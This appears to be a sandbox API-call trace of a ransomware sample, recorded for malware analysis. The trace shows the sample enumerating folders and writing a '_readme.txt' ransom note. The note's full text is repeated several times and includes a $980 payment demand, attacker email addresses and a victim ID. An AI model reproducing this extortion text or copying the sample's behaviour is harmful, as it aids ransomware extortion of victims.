FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.337] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.337] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb311b7f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.337] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb311b7f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.337] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.337] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.337] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.337] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.337] PathFindFileNameW (pszPath="") returned="" [0066.337] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.337] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.338] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.338] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260000 [0066.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.338] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260000 | out: hHeap=0x5d0000) returned 1 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260000 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x3247f78 [0066.338] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0066.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.338] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260000 | out: hHeap=0x5d0000) returned 1 [0066.338] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0066.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.339] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.339] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.339] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.339] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.339] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.339] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.341] CloseHandle (hObject=0x5c4) returned 1 [0066.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260000 [0066.341] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260000 | out: hHeap=0x5d0000) returned 1 [0066.341] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.341] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3141950, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.341] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3141950, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3141950, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3141950, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.342] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.342] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.342] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 